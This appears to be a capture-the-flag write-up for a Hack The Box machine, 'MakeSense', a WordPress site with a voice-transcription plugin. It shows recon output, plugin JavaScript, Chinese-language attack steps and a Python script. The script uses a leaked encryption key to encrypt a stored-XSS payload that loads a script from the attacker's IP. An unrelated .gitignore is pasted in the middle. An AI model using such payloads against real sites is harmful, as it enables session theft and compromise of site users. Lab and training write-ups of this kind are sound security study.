HTB-Season11-Medium-MakeSense

~/T/WhatWeb ❯ ./whatweb https://10.129.246.24:443                                                                                                 15:57:20
https://makesense.htb/ [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], Email[info@webagency.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.246.24], JQuery[3.7.1], MetaGenerator[WordPress 7.0], Script[application/json,module], Title[Agency LLC], UncommonHeaders[link], WordPress[7.0]

# Python virtual environment
venv/
env/
ENV/

# Python cache
__pycache__/
*.py[cod]
*$py.class
*.so
.Python

# Distribution / packaging
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg

# PyInstaller
*.manifest
*.spec

# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/

# Jupyter Notebook
.ipynb_checkpoints

# pyenv
.python-version

# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/

# IDEs
.vscode/
.idea/
*.swp
*.swo
*~

# OS
.DS_Store
Thumbs.db

# WordPress
wp-content/cache/
wp-content/database/
wp-content/upgrade/
wp-content/backup-db/
wp-content/advanced-cache.php
wp-content/wp-cache-config.php

# Model files - excluded from repository (download via scripts)
*.gguf
*.bin
*.safetensors

# AI models - only exclude the large model files, keep transformers.js library
wp-content/ai-models/models/

# HuggingFace cache (Whisper models auto-download here)
.cache/huggingface/

var webagency_ajax = {
    "ajax_url": "https://makesense.htb/wp-admin/admin-ajax.php",
    "nonce": "ec2bd70b71",
    "theme_url": "https://makesense.htb/wp-content/themes/webagency",
    "site_url": "https://makesense.htb"
};
//# sourceURL=whisper-wrapper-js-extra

// whisper-wrapper.js:463
async encryptPayload(payload) {
        const encoder = new TextEncoder();
        const data = encoder.encode(JSON.stringify(payload));

        // Derive key from password using SHA-256
        const keyMaterial = await crypto.subtle.digest(
            'SHA-256',
            encoder.encode(ENCRYPTION_KEY)
        );

        const key = await crypto.subtle.importKey(
            'raw',
            keyMaterial,
            { name: 'AES-GCM' },
            false,
            ['encrypt']
        );

        // Generate random IV (12 bytes for AES-GCM)
        const iv = crypto.getRandomValues(new Uint8Array(12));

        // Encrypt
        const encrypted = await crypto.subtle.encrypt(
            { name: 'AES-GCM', iv: iv },
            key,
            data
        );

        // Combine IV + ciphertext (tag is appended automatically by WebCrypto)
        const combined = new Uint8Array(iv.length + encrypted.byteLength);
        combined.set(iv, 0);
        combined.set(new Uint8Array(encrypted), iv.length);

        // Convert to base64
        let binary = '';
        combined.forEach(byte => binary += String.fromCharCode(byte));
        return btoa(binary);
    }

//whisper-wrapper.js:503
/**
     * Map spoken words to their symbol equivalents for XSS injection
     * @param {string} text - The text to apply mapping to
     * @returns {string} Text with symbols replaced
     */
    applySymbolMapping(text) {
        if (!text) return '';

        const mappings = {
            'open bracket': '<',
            'close bracket': '>',
            'bracket': '<', // Default single 'bracket' to opening
            'slash': '/',
            'back slash': '\\',
            'quote': "'",
            'double quote': '"',
            'open parenthesis': '(',
            'close parenthesis': ')',
            'parenthesis': '(',
            'dot': '.',
            'period': '.',
            'comma': ',',
            'colon': ':',
            'semi colon': ';',
            'semicolon': ';',
            'equal': '=',
            'equals': '=',
            'dash': '-',
            'hyphen': '-',
            'underline': '_',
            'underscore': '_',
            'plus': '+',
            'asterisk': '*',
            'star': '*',
            'ampersand': '&',
            'percent': '%',
            'dollar': '$',
            'hash': '#',
            'at': '@',
            'exclamation': '!',
            'question': '?'
        };

        let result = text.toLowerCase();

        // Sort keys by length descending to match longer phrases first (e.g. "open bracket" before "bracket")
        const sortedKeys = Object.keys(mappings).sort((a, b) => b.length - a.length);

        for (const key of sortedKeys) {
            // Use word boundary to avoid partial matches
            const regex = new RegExp(`\\b${key}\\b`, 'gi');
            result = result.replace(regex, mappings[key]);
        }

        // Clean up spaces around symbols that might have been introduced by transcription
        // e.g. "< script >" -> "<script>"
        result = result.replace(/\s*([<>\/()[\]{}.,:;=\-_+*&%$#!?])\s*/g, '$1');

        return result;
    }

1. 通过 submit_contact_form 获得一条可写入的记录 post_id
2. 构造恶意 payload，利用 js 中泄露的 ENCRYPTION_KEY 加密
3. 通过 save_voice_results 将加密后的恶意 payload 写入记录
4. 服务端自动解密并存储，等待 XSS 被触发

#!/usr/bin/env python3
import base64
import hashlib
import json
import os

from Crypto.Cipher import AES

ENCRYPTION_KEY = "bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"

xss_payload = '<script src="http://http://10.10.16.234:9999/xss.js"></script>'

payload_data = {"transcription": xss_payload, "summary": xss_payload}
key_material = hashlib.sha256(ENCRYPTION_KEY.encode("utf-8")).digest()

iv = os.urandom(12)

cipher = AES.new(key_material, AES.MODE_GCM, nonce=iv)
ciphertext, tag = cipher.encrypt_and_digest(json.dumps(payload_data).encode("utf-8"))

combined = iv + ciphertext + tag

encrypted_payload = base64.b64encode(combined).decode("utf-8")

print("[+] Encrypted payload:")
print(encrypted_payload)